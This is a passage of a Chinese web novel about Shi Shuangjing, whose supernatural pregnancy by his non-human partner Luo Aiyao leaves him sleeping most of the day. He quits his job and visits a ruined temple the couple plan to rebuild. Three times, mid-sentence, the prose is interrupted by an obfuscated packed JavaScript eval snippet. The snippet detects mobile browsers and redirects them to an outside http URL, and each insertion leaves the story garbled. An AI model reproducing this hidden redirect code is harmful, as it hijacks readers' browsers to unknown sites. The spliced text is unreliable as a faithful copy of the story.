于慌乱之中,施霜景常年静音的手机忽然响起铃声,众人找半天,这是谁的电话?随后才有同事发现,是地上施霜景的手机亮了。女同事连忙接起电话,还没来得及传达这边的紧急情况,电话对面便响起清泉声音:“施霜景是不是出事了?” “对……对!你怎么知道!” “他的手表有健康监控,我是紧急联系人。”对面稍作停顿,加重语气,“请把施霜景扶到你们公司的休息室,或者让他尽量平躺。我在来的路上,我会接走他。” 同事担忧至极,“真的不需要打电话找救护车么?我看施霜景根本没意识了,他刚才那下摔得好重。” “我开车过来只需要十五分钟。我会带他去医院。现在请按我说的做,谢谢。” 寻常人的眼睛看不见,施霜景虽是倒地了,可地上生出一层厚实蛛网般的咒文,具有游离性质,这大大缓冲了施霜景倒地时所受的撞击。 公司没有休息室,大家总不好看施霜景躺在走廊上,众人就把他搬回了会议室,清空椅子,令他平躺在地。有两位同事留在会议室紧盯施霜景的情况,其余人被老板遣回工位。老板思考片刻,还是打了急救电话,他总觉得施霜景的家属可能要讹人,最好不要信家属的话。 一双手温柔地揉按着施霜景的太阳穴与整个头颅,珠玉琳琅之声微微荡漾,幻美的巨大人形跪坐在地,陪伴施霜景。罗爱曜的法身常年跟随施霜景,不曾有疏忽。室内气温骤低,同事摩挲手臂,一位同事以为自己是被施霜景吓着了,另一位同事直接回工位找外套,认为是空调出问题。 罗爱曜法身虔诚地俯身,他那以蓝色经文遮掩的无面之面,随着俯身而再一次暴露在施霜景眼前,可惜施霜景已意识全无。经文念诵之音于灵魂层面缓缓升起,无人能懂,如风也如歌,罗爱曜的这一人形法身比起实在的人身,更擅长这些仪式动作,不论是唱念诵读还是行走步法,这是近年来自动演化的,像是通过模仿进而超越,成为法身中的特殊形态。 二十分钟后,罗爱曜几乎是与急救人员同时抵达。急救人员为施霜景现场评估,罗爱曜一反常态地沉默,没当众拆了大家的好意。急救人员用担架将施霜景抬进电梯,可出来时担架已空,急救人员只记得自己去错地址,而罗爱曜已将施霜景藏起,直接带回家中。 一片黑暗映入眼帘,施霜景陷入迷离,意志恍惚摇摆,直到床头灯被人打开,温柔暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796747|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光映亮黑暗。施霜景意识到自己在家。 施霜景勉强撑起身体,罗爱曜扶他靠上床头,施霜景问:“这是怎么回事?我怎么回家了?” 罗爱曜简略交代施霜景在公司发生的事,施霜景更是迷茫,他有过重病经历,这次他也下意识问道:“我又生病了?” “不,不是生病。你先喝点水。”罗爱曜将温水塞到施霜景手里,这才解释道,“是玉米。玉米到了这里,着床了。”他一边说着,一边抚上施霜景的小腹,像是给施霜景指路。 未等施霜景开口,罗爱曜语气稍冷,严肃道:“恐怕我们接下来都要做好心理准备,玉米是我们强求来的,可能会有些折磨人。” 施霜景捧着温水杯,暖手的同时也暖暖动荡的心,听罗爱曜细致说明。 “你接下来可能会精力不济,经常睡觉,甚至没有办法外出。玉米不是凡胎,也不是我所知道的任何一类佛胎,这么说可能有点对不起玉米,但它现在更近似于鬼胎,先天不足,需要从你的体内吸收大量的能量,出生之后还需要我随时带在身边,精细地照养、看护,至少需要两到三年。” 罗爱曜面上冷硬坚强,心里有些许的遗憾与愧疚,玉米需要他作“东拼西凑”,很多都是未知,现阶段只能如此。玉米从施霜景那儿吸收走的能量,需要罗爱曜以各种方式补足,但施霜景还是难免遭受这些磨难,比一般的孕育更加辛苦。 施霜景听完,将杯中温水一饮而尽,放回杯子,他双手握住罗爱曜放在自己腹上的右手,认真道:“你没有对不起玉米。我们都会陪着它,等他回来。不过就是代价,我担着就行。我需要做什么?” “留在家里,好好照顾自己。你现在的工作可能没办法再继续了。” 还说工作呢,打工就到今天为止,施霜景激动地控诉这群烂人:“我是休丧假,不是欠他们的!这活谁爱干谁干,我不想干了。就算没有怀孕,我也打算辞职,这班一天天上着是在羞辱我,我脑子进水了,什么‘积累工作经验’……我中午对账的时候,真觉得快要猝死了,心脏突突地跳,不知道是我的心理作用还是真的心脏不舒服……” 罗爱曜经常听施霜景吐槽工作,这曾经是他们的饭桌乐趣之一。施霜景控诉了好几分钟,忽然偃旗息鼓,滑躺下来,压低声音:“是我的错觉吗?我只是说几句话就又累了?” 罗爱曜是没有心的佛,但他与施霜景之间有超越生死与因缘的紧密关联,因而他对施霜景有着一切特殊的感情。罗爱曜心中百味杂陈,有怜爱也有替而代之的难过,不忍心看施霜景辛苦,可他们都是自愿揽下这麻烦。听见施霜景察觉到自己变得虚弱,罗爱曜的心散作了波涛,潮汐撕扯、拍打,极寒,可又有一轮幽日悬吊空中,蒸着这散乱海水,叫罗爱曜收起对新生命的不耐,换上佛的日月轮之辉光,当妈妈的已经宽宥了,做爸爸的更有特殊的责任。罗爱曜当然要能者多劳。 “唉……”罗爱曜少见地长叹,“你会很累很累,我甚至不知道该如何化解。” 施霜景倒是很无所谓,还未死到临头,心中有盲目的乐观。就算不乐观,反正又不会死。施霜景要罗爱曜拿他手机来,他要发消息辞职。 “罗爱曜,我饿了,你能不能煮粥给我喝?”打字间隙,施霜景抬头,问罗爱曜。 在这七年中,罗爱曜再是矜贵自持,也学会了照顾人的本事。家中一般是施霜景做饭,但罗爱曜也会做简单的食物。罗爱曜二话不说便回厨房煮粥了。施霜景每每一想到罗爱曜愿意和他做这样的寻常爱人,就觉得什么也不怕,什么也都不可怕。 170.外置良心 肉碎,姜丝,皮蛋,葱花,一碗稠粥。一小碟川式的泡菜,有藠头、仔姜、豇豆和红萝卜。瓷勺翻动,米粥挂在勺壁上,成套的薄胎瓷具,餐桌顶上悬挂一排三盏铃兰型吊灯,施霜景手肘撑在餐桌上,微凉的光滑的全木长桌,一圈圈木纹简直像蛋糕的卷心。 这是施霜景与罗爱曜住过的第三套房子,当年施霜景找到工作,从大学搬来工作地点附近,公司附近步行距离的房子都不太合心意,最后选了这套开车十五分钟左右的大三居。幸好他们没买房,施霜景喝粥,心里想辞职之后的事情。 此时此刻的施霜景对罗爱曜所说的“你会很累很累”还没概念,以为只是怀孕的正常反应之上再多加两三成。 现在已是夜里两点,施霜景喝完粥再消化一下就准备睡觉。罗爱曜抚摸他小腹并提到“着床”的时候,施霜景一瞬间还没反应过来。现在他才回神,原来是受精卵附着到子宫,扎根了。因为玉米扎根了,所以施霜景开始感到虚弱。幸好施霜景这些年颇受照顾,也注意身体,身形体重都维持得相当健康,如果公司不忙,他午休时间会去写字楼的健身房。这些年去医院复查,各项指标都很漂亮。施霜景这条命以后都是随罗爱曜走了,约等于永生,可到底还是人类的身体,多注意些总是好的。 洗碗,收拾桌面,施霜景喝牛奶,然后去刷牙、洗澡。夜间三点半,他放下手机,陷入沉眠。 施霜景再一醒来,窗帘半合着,室外好像仍像个漆黑洞窟。罗爱曜躺在施霜景身侧,轻声摆弄电脑。施霜景下床,拉开窗帘,果真是晚上。施霜景拿手机看时间,以为自己只睡了一个小时,可手机上赫然显示着二十二点。 罗爱曜不吭声,默然下床,结果被施霜景叫住:“这是什么情况?!晚上十点钟?我不是凌晨三点睡的么?” 罗爱曜说:“先来吃东西,我去加热一下。”然后便夹着笔记本电脑溜了,好像真的很急似的。 施霜景难以置信。这是什么概念?他从凌晨三点半睡到了晚上十点,期间一次都没醒过,他是又晕过去了么?大概是罗爱曜动过他手机,设置了睡眠模式,施霜景一解除,消息如瀑布。施霜景人麻了,行尸走肉一样走到客厅,白天罗爱曜去酒店打包了菜品,现在正用砂锅热汤。 “我自己来……”施霜景挤走罗爱曜,脑子根本不转了,只想找点什么事情做,确认自己这不是在做梦。 罗爱曜学着施霜景的动作,将施霜景挤出厨房,让他醒醒神。施霜景心里郁闷,伸手挂住罗爱曜的脖颈,树懒一样吊着,直到罗爱曜说汤要沸出来了才放他走。 这到底是怎么一回事? “你的身体还在适应……不过,就算是彻底适应了,我估计你每天的清醒时间也不会超过八小时。现在是最辛苦的时候,每天大概只有四到五个小时是醒着的。”罗爱曜陪施霜景吃饭,无可奈何道,“玉米就是通过这样的方式从你身上吸收能量,真是坏小猫。” 施霜景觉得怪异极了,上一次醒来就是吃饭,这次醒来还是吃饭。上一次醒来是黑夜,这次醒来还是黑夜。“我的能量足够他吸收么?我到底哪来的能量?”施霜景发出灵魂质问。 “你的性命是我用本愿加持的,现在玉米要稍稍分走一点点本愿运转的力,所以你会精力不济。这不影响你的性命。有一点我需要向你说明……从昨天开始,我的法身会在跟随你的同时,念诵一段长达数月而不绝的长经文,有时你可能会听到,有时则不会。这也是为了玉米的生长而进行的护持。” 如果是在家里,施霜景一般不会见到法身,罗爱曜往往是在人身不在的情况下才释出法身来跟随。施霜景久违地起了一身鸡皮疙瘩,即便他已经与罗爱曜相处了八年,可总有他没有经历过的仪式,以及这种种神秘的灵魂体验。 上桌不过一刻钟,施霜景忽然接到电话,是老板打来的。施霜景还没来得及看完手机里的消息,心里也有隐隐的抵触,不愿意细看。怎么办?只能接了。 老板是不需要睡觉的,晚上快十一点也照打电话不误。老板对施霜景的辞职与拒不沟通感到大为光火,施霜景甫一接起,老板就方言输出,夹枪带棒,主要还是骂施霜景旷工和拖延重要的工作,例如最近银行续贷的活就给甩了下来,没人接手。施霜景就算想要离职,也不能闹得这么难看。施霜景被骂得食不下咽,再看一眼罗爱曜,罗爱曜只是那样静而美地坐在灯下,就已经给施霜景足够的底气支撑。 施霜景三两句就挑明了关键问题:“我只是个普通会计,你为了给小汪腾位置,要把我赶走,又要我给小汪做培训、擦屁股,这活你换个人干吧,我不奉陪了。老板,我实话告诉你,我不缺钱,是我当年学历太普通,需要找个靠谱的师父带我上手,恰好贵公司的总管会计陶姐对我很好,我才在公司干到今天。要不是看在陶姐一个人忙不过来,我半年前就该走的。公司里开财务BP岗纯纯就是多余,这活你可以让财务总监来干,反正他平时也不干活,名头说出去还好听,能和那些搞业务的平起平坐。” 对面像是被毒哑了,闷声半天,施霜景懒得浪费时间,说自己生病了需要静养,手续什么的他都会委托家属来办,明天家属去公司打包东西。 撂电话,继续喝牛骨汤,施霜景关机,他的时间很宝贵,如果二十四小时里只能有四个小时清醒,他几乎干不成几件事了,就连和罗爱曜相处的时间都不多。 “家属”罗爱曜将施霜景的手机捺过来,明天他会带着施霜景的手机去他公司,“你主动离职,拿不到补偿,实在有些亏。” “我要拿补偿就得回去再坐一个月冷板凳弄交接,我这不是不行么。” “我很喜欢你刚才说‘不缺钱’的样子。”罗爱曜非常喜欢做施霜景的提款机的感觉,他们走到今天这步也花了不少时间呢,“明天我去帮你收拾东西,顺便替你的前公司看看风水。” “你都成佛了,不要搞这一套了吧!你要还像以前那样,我真怕你被雷劈。” 施霜景是真心里没底。怎么说好呢,该说是罗爱曜自从涅槃回来就太“老实”了么?七年过去,施霜景是还会碰见或是听说一些都市灵异玄学小事件,但都不是罗爱曜挑起或是与罗爱曜有关的。施霜景认为罗爱曜已经金盆洗手了,现在他冷不丁冒出这么一句,施霜景是既担心又有点期待。哎,有人替自己出头,当然会开心的。施霜景这一年加班实在是太累了。 “我从过去到现在都没被雷劈过,天雷跟我有什么干系?”罗爱曜狂妄依旧,他现在已经成佛,连“佛子”这个名头都摘去了。只是罗爱曜这人有时会在莫名其妙的地方犯懒,他至今没有将自己的佛号译成人类听得懂的名称,还潜意识把自己当佛子,也很习惯施霜景偶尔还喊他佛子。 “罗爱曜,你能不能在我睡着的时候出门?”施霜景泰然道,“如果我一天只能清醒四五个钟头,在清醒的时候,我只想跟你待在一起。” 罗爱曜早有打算:“我不会出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801171|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远门,如果有事,我会在你入眠期间办完并回家。你需要我做什么、买什么,睡前留言即可。在家里我不是什么佛或者佛子,我只是你的伴侣。” “和未来的玉米爸爸。”施霜景满意了,随即开朗了,催着罗爱曜赶紧吃饭,他还想晚上看看球赛转播,家里还有什么水果么?西瓜?噢,有芒果和哈密瓜,也很好,很喜欢。 公司前台领着施霜景的家属去找人事,大家都知道景哥要辞职的事。公司乃至写字楼里唯一一个大帅哥走了,这班上得真没意思。 家属是上次来接景哥回家的家属,上次对方只穿了简单的上衣和裤子就过来了,今天家属拾掇得像男模,大夏天穿风衣,这只能说明这人根本只出没在各种空调场合中,不需要看天气穿衣服。穿得像男模,长得像画,做事说话却像推土机。老板出来找家属谈话,家属浅浅看一圈公司,唯独是点了老板、财务总监和关系户小汪,让他们三个一起进办公室——俨然把公司当自己的了。 也不知道家属究竟说了啥,起初是财务总监暴怒大骂,骂着骂着,声音消停了,二十分钟以后家属出来,还从老板办公室顺了一个纸箱出来,用以打包施霜景的私人物品。老板冷汗涔涔,财务总监在办公室吞云吐雾缓解巨大的焦虑,小汪很迷茫,三个人互不沟通。老板融资过程中签了有问题的投资协议,还搞私自挪用,财务总监替他打掩护,但两个人互有防备;小汪则是被家属提醒,要记得看好印章和合同哦。家属语焉不详,可说的每句话恰恰好好能让那一位当事人听懂。 施霜景留的东西不多不少,正好装满一个纸箱。家属将施霜景签过字的辞职信交给人事,如果仍需施霜景本人到场,那再约时间。 罗爱曜一直将施霜景的努力看在眼里。 施霜景是这般脚踏实地的人。大学里该考的都考了,现今才工作三年,他的CPA单科都已经考过,只剩考过综合就能拿证。施霜景一直记得郎放的建议,以及庄晓的叮嘱,像施霜景这样和非人存在恋爱的人,最好还是维持一个与外界社会交往的渠道,最好是有份工作,做到经济自立。这不是不信任罗爱曜,而是运行一条强大的轨道,施霜景自己的生活轨道。 罗爱曜点开施霜景昨晚睡前发来的清单,开车去会员制超市买东西。 施霜景以为罗爱曜这几年老实了,只有罗爱曜自己心里清楚,他确实在等施霜景松口,愿意为他孕育后代。佛子也可以有自己的佛子、佛女了,罗爱曜其实从写出第一本密宗新经那天,就开始做长远的打算。 罗爱曜开车期间接了几个电话,约时间去看地。他于五年前低价买入一块度假村地皮,近都江堰,而在那度假村地界中,有一座不错的山头,以及一间早已荒废的残寺。爱妻爱子则为之计深远,罗爱曜独身一人时绝不会有修缮新寺的念头,可现在来看,是时候将密宗重新引回人间了。旧唐古刹摇身一变,接续密宗传承,不仅是旧唐的佛子,即将诞生的新世佛子也需要殿堂来受人供养。 唉,谁叫罗爱曜是这样天才的佛子,幸好他坚持修密宗,没有在涅槃中灰飞烟灭。罗爱曜要当着其他佛祖佛前辈的面,重新发展密宗,像有自己的佛女佛子——这样的好事情轮不到那些化灰的佛祖佛前辈了!唉,这可能就是使命吧。唉,好不容易让施霜景觉得自己老实了一些,罗爱曜想,就连罗爱曜自己都以为自己老实了,到头来还是这样天才又混沌,改不了,也不用改。就让施霜景做罗爱曜的外置良心吧,佛没有心的。 171.后山别墅与音乐工作室 从此施霜景过上了日夜颠倒的生活。 四个小时能干什么?施霜景的苏醒时间不定,在最初的半个月里,他只有两天或是三天见到了太阳。他一醒来必须吃饭,然后行必要的日常活动,时间简直比考试时还紧张。久久见不到一次白天,施霜景有时一睁眼真感觉自己给困在了地牢里,坐在飘窗往下望,好寂静的小区和街道,就连蝉鸣、鸟声都稀少。怀孕的第一个月,连验孕棒都测不出来怀孕的这些天,施霜景一次都没出过门,因为施霜景在苏醒的“四小时”里也会出岔子。 一次施霜景正在为自己切火龙果,突如其来一阵晕眩,如果不是罗爱曜的法身接住他和他手里的刀,施霜景必定要受伤。施霜景睡着了,罗爱曜抱他回卧室,将他手上的火龙果汁液擦干净,然后罗爱曜回厨房切完火龙果,密封了放进冰箱,等施霜景下一轮苏醒时再吃。 施霜景苦不堪言,即便他再内向,宅居在家到这个地步,浑身上下都不舒服。可他不好提出别的要求,一是不像显得很多事,二是现在整个家都交给罗爱曜,罗爱曜已经挺辛苦。施霜景也不知道自己想提出什么样的要求,出门散步这样的小事倒是可以提一提,可这解不了施霜景心里的痒。 “罗爱曜,玉米真的在我的肚子里吗?”施霜景屈起一腿,透过飘窗眺望静谧夜景,窗户微微反射出室内的画面,前景是施霜景自己的身形,后景是罗爱曜正在更换寝具,这项工作毕竟得等施霜景醒着时才能干。 “算算时间,其实可以去医院做检查了。你想去医院检查么?” 一听要出门,施霜景来了劲,搭把手一起铺床单,“我去医院会不会很怪?生玉米的时候怎么办?是要去医院吗?……仔细想想还是有点担心。” 他到底不再是二十岁的那个施霜景了。好像随着年纪渐长,施霜景越来越意识到双性这一模糊的性别会带来多大麻烦。做检查尚可以接受,生孩子该怎么办?施霜景直到现在也不敢细想“生产”这回事,痛且冰冷,甚至可能失掉尊严。一个名字缓缓浮上施霜景心头。 罗爱曜会读心,直说道:“当年给郎放接生的医生在长三角地区有私人医院,她应该值得信任,不过……” “不过……?” 罗爱曜垂眸,眼里很少见地泛出迟疑神色,“恐怕接生的时候我必须在场。我不确定到底是要将你送进医院,还是直接带去我的法界。” 什么意思?罗爱曜打算亲自为自己接生么?施霜景很干脆地给出了答复:“可是我不想要你来接生,感觉好奇怪。我想去医院。我刚才一瞬间想到庄晓了,我不想待在任何形式的家庭医院。” 庄晓父子虽已是八年前的事了,但该说是庄理安这一物种的特性么,好像跟他们有关的事不仅仅是如影随形,还总是以某种恶意的方式出现在回忆的闪回中。施霜景不是故意去想他们的故事,而是他们的故事总是找机会刺进来。 罗爱曜捋平枕套,将枕头放回原位,他去隔壁房间取一床干净的夏被过来,施霜景坐在床边眼巴巴地望向罗爱曜,罗爱曜这才想起他忘记回话了。 “去医院,我们去医院。”决定已做下,罗爱曜只是需要为自己多解释几句,“拿纪复森和我比肯定是折辱我了,我不会拿你和玉米的性命当乐子——但这分钟我才意识到,或许玉米的情况真的会和庄理安出生时有些相似,尤其是那种肉身与魂魄都不稳定的状态。所以我才要留在你身边,需要马上接手玉米。” “怎么听起来有些像掰苞谷……开玩笑的。罗爱曜,我没有别的意思,我没拿纪复森和你比,你不要乱说。” “那你还担心去医院吗?”罗爱曜从善如流道,“大约第六周就可以做B超了。” “去哪家医院?郎放他们去过的那家么?太远了……不过接生可以考虑问问看……我来问,你不要去问,你会被蒋良霖调侃。”施霜景学会在外人面前也护罗爱曜的短,这两年他格外见不得别人揶揄罗爱曜,施霜景还以为是罗爱曜成佛以后脾气变好了,那这种凡人的七情六欲就让凡人来维护吧。 其实罗爱曜早就神游天外了。蒋良霖家命里只有一个孩子,而罗爱曜家呢……谁揶揄谁,真说不一定。施霜景上床,罗爱曜也熟练地寻找施霜景那软热的小腹,最近罗爱曜总是要将脸贴上去,静静地待上那么一会儿,这可真是令天地止戈的效用啊,日后这小腹会更软更热,一时间罗爱曜所有的癖好全爆发出来,他最近说不出的快乐。 为了带施霜景放风,也为了让施霜景知晓自己的家庭计划,罗爱曜选了一个好日子,那之后接连几天都无雨,他事先对施霜景交代过了:“我会在你睡觉时帮你换好衣服,然后开车过去。你一醒来,我们就到青城山脚了,我们在那附近住一阵,你哪天白天苏醒,我就哪天带你上山。” “这肯定不是我的错觉——你的心情最近真的很明媚。”施霜景感慨。 “你说得对,就连我的信徒最近都大发特发。”罗爱曜孔雀开屏,因为这不是一般的心情好,开心到这个地步,再藏就不礼貌了。罗爱曜愿意散散喜气,让大家一起开心。 施霜景收拾完行李,嘎嘣一下躺床昏睡。再次醒来,他就已经在另一栋建筑内,倒也是卧室,天边正有夕阳的橘意。罗爱曜想等明天再带施霜景上山,施霜景觉得机不可失时不再来,马上穿鞋准备出发,尸体也是想要放风的好吗。 从山脚的酒店开车大概七分钟就抵达了目的地。施霜景瞧着这伶仃残寺,失语片刻,终于找到喻体:“兰若寺?” 罗爱曜说:“大白天来会好些,现在毕竟是傍晚了。” 石板路之间细草丛生,二人走进残寺。这寺荒废的时间其实不算太长,大概只有八年,建筑相当完好,只是这几年缺人维护,显得清冷空旷。施霜景走在前,当探险了,罗爱曜微微靠后,冷不丁说道:“这寺的住持在我人身出世时坐化了,走得很突然,又留了信给和尚们,说得像是我要来报复末法时代一样,把这群和尚吓去了其他大寺,这里才荒废了。” 施霜景回头,忽然又被罗爱曜这张脸给美得骇住,都怪他刚才比喻这里是兰若寺,施霜景后颈猛起鸡皮疙瘩,罗爱曜生得好看,夕阳添上三分艳光,把罗爱曜的冷转化成暖,一下就从无温的佛国去了火辣的地狱,抖擞出一点点鬼相。总之是美的,也是施霜景独享的。施霜景半晌才想起自己要问什么:“住持为什么要在你出世时坐化?” 罗爱曜没忍住,于林间大笑,飒然道:“因为他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807339|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学杂了,倒反天罡!他们数位住持联合做法,但凡有那么一位是不信我、把我当妖魔的,念错了咒,其他人就跟着他一起死了。这些老和尚水平太臭,做些虚妄法拿来骗骗自己、骗骗人类就得了,对我下这些咒法,倒反天罡。” 施霜景头皮发麻,“他们做法之前,知道自己会有这样的后果吗?” “他们能坐化已经算我慈心泛滥了,我指点他们重新轮回,下辈子再续这辈子的功力。”罗爱曜随手拾起一根木棍,对地上敲敲打打,怕有蛇伤到施霜景,“他们每次做法之前都应该想想后果。他们能对不可思议之事下百种咒语修持,什么都往上用,他们承担代价么?统统都是‘镇住’就好?修佛不必须是‘正义’,可修佛需要精准。” 他们走得深了,空寺被呜呜的风声洞穿,罗爱曜牵住施霜景的手,偶尔用木棍指出那些小楼、殿堂的用处,曾经供奉着谁。整场探险大约花了一个小时零十分钟。二人回到寺门前,罗爱曜介绍道:“之前我接手了这片山地的开发权,重启度假村的开发计划,这古寺也在范围中……你懂我意思了么?” 施霜景惊喜道:“你要修寺?给你自己吗?” “是给我们。我打算维持主寺结构不变,只做修缮和必要的重建。至于我——我所承袭的密宗早已销声匿迹了,需要一段时间重启,但我打算在主寺最深处设我的密坛殿和佛子道场。外院容纳普通僧众和香客,内院则基本不对外开放。” 罗爱曜神采奕奕地介绍自己的想法,施霜景脑内则已经有了大概的建模,根据刚才他们踩过的点,他能想象到罗爱曜究竟能做出多棒的寺庙,毕竟罗爱曜的审美摆在这里。 施霜景东张西望,忽然见到一条小路,不像是人踩出来的,可能是野狗或是小型动物的行迹,施霜景从罗爱曜手中接过木棍,拄着木棍往小路走。两人放着好端端的水泥路不走,放着好端端的寺庙石板路不走,非要进后山。走了大约一刻钟,施霜景忽然停下,再一转身,他们微微俯瞰着残寺,倚着青城后山,这里风景独好。 “你在山里修寺,我们以后都住寺里吗?”施霜景问。 罗爱曜说:“山下住着很方便,这里还有很多度假村设施,我们刚才住的是高尔夫酒店。” 施霜景在心里点了点大致的成本,他虽然没有修房子的经历,但成本核算已经刻进他脑海里,他果然达成了八年前对自己的期望,即“对钱有数”。施霜景说:“我们可以在这里修一栋房子,我还没住过别墅呢。你说这里是度假村用地,房子修得漂亮一点也没关系吧?” 罗爱曜忽然抱起施霜景,兴奋感慨道:“你怎么知道我在想什么?明明我才是那个会读心的,但好像每次都被你猜中。” 施霜景笑着拍打罗爱曜的后肩,让他放自己下来。 “不然你为什么会和我在一起呢?——因为我们有默契!”施霜景其实已经疲劳了,今天运动量超出能力范围,被罗爱曜这样一抱、双脚离地,施霜景渐渐感觉到困意,他抓紧时间说完自己想说的话:“我要一层单独的地下室做音乐工作室。罗爱曜,我还是想玩音乐。” “批准。” “三个人住别墅会不会太大?” “不会。” 172.血红孕巢 梦想很圆满,现实是连续不断的无梦之梦,醒来才能实现梦想,施霜景原本很期待每天醒来,即便只有寥寥几小时,可他试图让这几小时也高效起来,睡得多了便有种时间流速加快的感觉。要是一直都能保持这样清爽、干脆的苏醒就好了。 可玉米没有放过施霜景。 它真的是只坏小猫。 怀孕六周,罗爱曜陪同施霜景去医院做检查,郎放为施霜景介绍了医生,那女医生愿意拿着罗爱曜的高额报酬坐飞机过来,她借朋友私立医院的仪器设备与检验部门一用,一次出差收费十万。罗爱曜叫医生保密,施霜景直到现在对金钱还是会敏感。 女医生余芳洲性格正经,却也难免感慨道:“这么想想,这个收费是不是有些趁人之危呢?我只是为你们做些基础的检查,大不了做做手术……当然,保密性很重要,保密是最重要的,不想成为论文里的案例或是新闻里的报道。施先生和郎放的生理构造有些许不同,每一位双性案例都是最特别的,您出的钱包含了我的出差看诊时薪以及我后续的研究工作。”医生非常记得蒋良霖如何对她交代这一对同性爱人:你不要触罗爱曜的霉头,我和郎放加起来都打不过他,你就正常对待,看完诊就跑路。 一张小小的B超照片,施霜景看了又看,觉得好安心。余医生一一确认了施霜景的检查结果,将一种产量极低的激素调节药交给施霜景,“双性的人可能会在激素方面有麻烦,郎放是这样,现在看来,你的激素轴也有点令人担心。这个药可以帮助你调节HPG轴,如果你有轻微出血迹象,就吃一周,说明书上有服用说明,吃之前打个电话给我。哦,对了,孕吐严重的话也可以吃,但也是不要连续服用超过一周,如果需要继续服用,需要做肝功能和心电图检查。你的常规检查可以就在这家医院做,检查结果会传到我的医院,我可以远程看诊。” 施霜景想,我一天已经只有四小时是醒着的,还能有多倒霉?可人倒霉起来真是无穷无尽。B超照片里的玉米只有那么一点点大,可折腾人时简直是恶魔。某天一觉醒来,施霜景甚至无法自控,突然在床边吐了,比胃病有过之而无不及。 施霜景不敢吃,不敢喝,很多寻常气味都成了催吐剂,他甚至非常厌恶衣物和寝具所用的洗衣液味道,下雨打开窗户闻见水腥气也要吐,空气净化器一点用都没有。什么叫“孕吐严重”?这算严重么?施霜景打电话告知余医生,余医生没想过他的孕吐会这么严重,让他赶紧吃药。 服药一周,施霜景感觉药物有所控制,但他必须去医院做心电图和肝功能检查。余医生知晓施霜景的病史,又来出差一趟,这回她看着检查单那上上下下的箭头,她关上诊室门,眼神在罗爱曜与施霜景脸上来回扫,半晌,医生的道德压过一切,她说:“肝肾的指标又不好了,我不清楚这是药物导致的,还是hCG过高带来的代谢压力。中性粒细胞百分比升高,淋巴细胞减少,这说明可能又激起了免疫和炎症反应……” 此时,罗爱曜忽然打断余芳洲:“他之前就因为免疫性肝炎而重病,你是说他又复发了?” “我不确定。我需要问清楚,你们两个人之中……是你更‘神秘’对么?你是人类么?”余芳洲以笔指向罗爱曜。 罗爱曜当然不是人类,罗爱曜坦然回答:“我不是人类。” “你这么信科学吗?”反正余芳洲当年被带去蒋家那回之后就半信玄学了,“如果你没有更好的办法,我会建议终止妊娠。肯定是施先生的命更要紧。” 余芳洲时刻谨记蒋良霖的叮嘱,不要触罗爱曜的霉头,这些会让双□□人怀孕的人也多多少少有些偏执。可余芳洲考虑到施霜景的严重孕反和身体的耐受,她真不觉得科学能给出很好的解决办法。说不定就是人类对非人的排斥呢?施霜景对体内婴儿的反应更像严重的排异反应。 “不会真怀了只猫吧?”施霜景在这紧张的氛围里开玩笑,可余芳洲一点没怀疑施霜景的话,余芳洲反问:“是猫么?罗先生是猫?厉害的猫?如果怀的不是人类……” 罗爱曜无可奈何地打断两个人:“我知道问题出在哪里了,给我一刻钟。余医生,我不是猫,蒋良霖没向你介绍过我吗?你可以当我是个具有人类形态的神。我的人形刀枪不入,也不需要进食和排泄,起到一个看起来像人的装饰性作用。我只是解释一下,这不重要。施霜景,你躺到检查床上。余医生,晚点我们能安排第二次检查么?” 余医生看表,问罗爱曜打算安排多晚,罗爱曜思考片刻,又问余医生能不能待到明天,明天再做检查会好些,留足够时间给他们。余医生说她明天晚上八点有手术,罗爱曜说时间够了。 罗爱曜拉上帘子,掀起施霜景的上衣,袒露出腹部。罗爱曜右手覆上施霜景腹部,这回施霜景耳朵里能听见双重奏的咒音,一边是罗爱曜的法身,另一边则是罗爱曜的人身。施霜景平躺,心中忐忑,顾虑到有外人在,只能于心中发问。 施霜景:玉米真的是“鬼胎”? 罗爱曜:是我的问题,不关玉米的事。 罗爱曜:其实这是好事,是我误会了。 罗爱曜:你和玉米都会没事的,放心。 施霜景不疑有他,他隐隐觉得罗爱曜是上了些佛子手段,反正施霜景今天在回家的车上忽然提出,想吃红糖糍粑,买了、吃下了之后也没吐,施霜景睡前仍然能听见两重念咒之声,知道罗爱曜在想办法,他便选择相信罗爱曜。 第二日白天,施霜景被罗爱曜像搬等身手办一样搬去医院,毕竟施霜景的清醒时间很不定,不能像医生一样准点上班。罗爱曜要求余医生替施霜景做羊水方面的检查,而施霜景毕竟是处于孕早期,就算超声也看不出什么毛病,余医生只能又开了个大全套生化的检查单。 